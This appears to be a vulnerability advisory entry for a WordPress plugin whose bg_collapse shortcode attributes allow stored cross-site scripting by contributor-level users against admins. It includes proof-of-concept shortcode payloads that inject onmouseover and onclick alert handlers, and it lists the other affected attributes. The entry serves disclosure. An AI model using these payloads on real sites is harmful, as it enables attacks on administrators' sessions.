The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.
v < 1.3.0 [bg_collapse onclick="' onmouseover='alert(/XSS/)'"] [bg_collapse onclick="alert(/XSS/)"] v < 1.2.6 [bg_collapse custom_class="' onmouseover='alert(/XSS/)'"] Other affected attributes: color, inline_css, icon
Lana Codes
Lana Codes
Yes
2023-02-02 (about 7 months ago)
2023-02-02 (about 7 months ago)
2023-06-06 (about 3 months ago)